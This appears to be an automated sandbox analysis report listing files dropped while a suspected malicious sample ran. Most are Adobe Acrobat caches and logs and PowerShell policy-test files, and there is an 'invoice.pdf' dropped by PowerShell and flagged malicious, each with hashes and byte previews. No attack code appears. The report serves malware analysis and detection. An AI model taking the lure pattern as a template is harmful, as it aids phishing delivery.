Preview:	{"analyticsData":{"responseGUID":"85f7e9a8-c374-4d94-a5b2-757be3fc7e81","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733452489,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.259706450809349
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQv4RBWkvHgNY+FIbRI6XVW7+0YQTUoAvJTqgFCrPeUkwRe9:YvXKXOLYpW7vGTq16Ukee9
MD5:	0D91E59752F1A8434793E21A1431DC25
SHA1:	C46C79321333E593C832C4D16BF38AA9542CF21E
SHA-256:	16BD2F82E6B07F858BD0F27BE6B07A569A1B3743D92F163C4B2D6E6045A5B1EF
SHA-512:	FA9E9793204DEC4166BDB435822B41D04B26E3970F38070CB20E8E45054830044CE77BFC3DED6C37F8F44DF8B52D038F69447A9B07B413890019C7C852658EE8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"85f7e9a8-c374-4d94-a5b2-757be3fc7e81","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733452489,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.132802074068042
Encrypted:	false
SSDEEP:	24:YqLkpaTrmayZvDjy9ZNg4xNeoPjLxj0S9GrCx2C2LSXCwD6wHEQ+J/Lm51Hw29Pz:Yq1VZTNeEL1KmDlTD6wHr+J/SPHD9r
MD5:	7D5C725A383B992B806168746E600239
SHA1:	111F4AD2D3B1B883A55D583D61B62D47B2C794A0
SHA-256:	C762306BA84687942FFD7D2F0BB05FA3AD830449B1221FDE9FBC4F818B279F1A
SHA-512:	8B2712A317BB231FC4205CE4F90F739F4622F628AF774D788EEA8D2876EE7D985D676F1BE56CBE5293005B60EBC6D7A1F24EF66BD4076D8B4CE708940AF82786
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"8ee645210e5394da20e250754399f0cf","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736557501000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"81b425590d2a38c66b93d194c7abd08a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736557501000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"328d79ed624a79b5c981e9b58b6287b9","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736557501000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"7e5dd21f680c433f7076e1589ed5a206","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736557501000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"8f3eff11d205637127e6c0985a0294f8","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736557501000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"5b90b3528e0e946b945ebcf94e9b731d","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9853277606054731
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpeU434zJwtNBwtNbRZ6bRZ4JU43F:TVl2GL7ms6ggOVpejIzutYtp6P4jV
MD5:	E6066801983C96E05AC394164594D8C6
SHA1:	EF5905C2FAEBA4820DC4C59EC56C44627945DCD9
SHA-256:	F53D97B1898863C4317E39184528E0319AA820894E09558EF61C95B173B84D3E
SHA-512:	D692648FFD54F5074567C3AC0CE4F63DC2E8B07665C272EDBC69A220E79A04B5BA9A90B61FA7BF2EE14D934853D7C149B3EB2173ACCE8BF60D749C71F809EE19
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3371401394053846
Encrypted:	false
SSDEEP:	24:7+tIpAD1RZKHs/Ds/SpeU43PzJwtNBwtNbRZ6bRZWf1RZKmqLBx/XYKQvGJF7urA:7MIpGgOVpej/zutYtp6PMLqll2GL7msl
MD5:	46F93849956891F98CB420829C501C11
SHA1:	04E33EBF0841D9BF182C2FC486533070A093C15B
SHA-256:	490295F4B843F25948135A9AE95259F94348C72497EAA8A2FD5D4111C10CD1FB
SHA-512:	71EC62E3EDE82F5514CAE3033FFE24B81EFD9B493E4DB91D73618AFAF72151DB72EBE39514F7E370B0BB6ECD881690C0754E7A7685F073DC99BD5CAF43E4D6A4
Malicious:	false
Preview:	.... .c.....XE.B......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgs9bHJKqBJCFdeOhYxILYc9XYyu:6a6TZ44ADEs9MqBgveOa6K
MD5:	A8311EF25E23A5D876592708DF19B713
SHA1:	34E3A4E1DD6951E6A600E805A5BA864AD025DB96
SHA-256:	03C36E74A5DF0448AB004C19B5D0C2B138ABDC5857170D3E26694F9CE1A85CCC
SHA-512:	A8F81834D80120AD4EF879FA0D5B7F924D0813568D59F05A3A00415902F5DB8A4B0FAE0ED7E27223AE3D9783979A675EA0C090528F1DB7AC58F517690CA5CE33
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul7got/Z:NllUkot
MD5:	71995B6B43EA2A2D49079E9E99E8D184
SHA1:	A55CE57E044A814007D3EE7DCCF1527EF391036A
SHA-256:	FD011C1349ABA970E984930A34129F61F60BF70A92E4E1748C4DCFFA3E22DFBF
SHA-512:	6CFBFC9B41995E53733EDCEC9747C4B7EA800D267145D6A879637CBC2B96E06C1D8CFEE9CDC59A6E57A32AEFE5A941448A029B16F4B2A11EF8CC0F579352509A
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIc726d.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.480679440204275
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClIlNPXH:Qw946cPbiOxDlbYnuRK+bnvH
MD5:	F08CA6774B1936C02207AD05694C038C
SHA1:	0582C5405D53D84B516E63B572EA08D6817AF5B9
SHA-256:	4A9B381595A8BADA379B20E0AC7DFA3A408477D1B6CB94DF00AE4F74B8D3B1DA
SHA-512:	9A0B7B483C70E13CC7424C64771BEF610D33F2E3BD7D3AD7174222F92C527FF1EB48B2047ACA0346353E55A6FC0BF3E22049B6B0FFF72CD3D1AAB0DD93405208
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.0.5.:.0.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4oqf3zrt.lsc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hhuc1f3l.sxz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-04-56-366.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.350142016253561
Encrypted:	false
SSDEEP:	384:38gNIcx+dN6rOknMusQppiVWakT+16t6v6d6A6X6D6h6A6M6m6U6ZYoSVf+pve6X:IcLQCgBK2UBdvFoJ+GKc0TC7wYW
MD5:	0A01B77ACBFA87B03C1BE901C9E5B406
SHA1:	5DA4B3D68E552E379C3BF162C4986174F0857CBD
SHA-256:	531069042F0511D2DF5AB4D36C33962DFF55E98F3C7F237748F42E30ED98CF07
SHA-512:	69A06BF3DCC693D1F2EEBEB3ACDE6FC327FFA781994F8B671F6594212697819FA643F817A9ABBFC39F920E7A2B055A53EF63AB6141574F8D8D1C1413A6C479EE
Malicious:	false
Preview:	SessionID=de15b048-5785-4ca7-b244-80fe79a6e631.1736557496381 Timestamp=2025-01-10T20:04:56:381-0500 ThreadID=7628 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=de15b048-5785-4ca7-b244-80fe79a6e631.1736557496381 Timestamp=2025-01-10T20:04:56:382-0500 ThreadID=7628 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=de15b048-5785-4ca7-b244-80fe79a6e631.1736557496381 Timestamp=2025-01-10T20:04:56:382-0500 ThreadID=7628 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=de15b048-5785-4ca7-b244-80fe79a6e631.1736557496381 Timestamp=2025-01-10T20:04:56:382-0500 ThreadID=7628 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=de15b048-5785-4ca7-b244-80fe79a6e631.1736557496381 Timestamp=2025-01-10T20:04:56:382-0500 ThreadID=7628 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.397418903737083
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbZ:SI
MD5:	F99BD0FF299EC6A814594719352D41A2
SHA1:	8C551624D905CE5A83E0BF56F50653F4F1C17DF0
SHA-256:	7F7CBCE66EF673F0C9452D0227D61363A9CA2877FA92A4BEBB27B25A3A723BCF
SHA-512:	E4868DB9D9762D2F93B5AE08B3468C03B4848D7A98485F61540076EFE0E7CBF0547A59FC716C206D5FA974CBA29A1AB09F91873F8F99FC272CB915A0A1CDFBAB
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\523ccd70-752f-4946-a3f8-26e31b9b4d7e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\79dcb88a-d96f-4fda-8465-4206026dbc21.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\b1286d1d-fba2-41b9-93c6-3857fb4eeff6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VRaWL07oXGZ4YIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:tRaWLxXGZ4ZGh3mlind9i4ufFXpAXkru
MD5:	41034A6B023B6BB9C723DA146E190954
SHA1:	22C95166FF8A1C4D2AAC25B75D804CEBAAA6ACF2
SHA-256:	52BB8B0CA62248721986D650004C11ACCB0C988B6FBA645D9B4E3557CA87A15D
SHA-512:	6F8CD54BBB750E32FEBD78895F433CCF0C553C56E6B7DDEA03E3EA36ED283084CF6EA6FA8999162999D184B0F04B6E6DAB7F6FC27648EE517F744D7E8DBC8AAD
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\fb8b2a78-4bbd-47e8-8bbd-7f2a630e59dd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 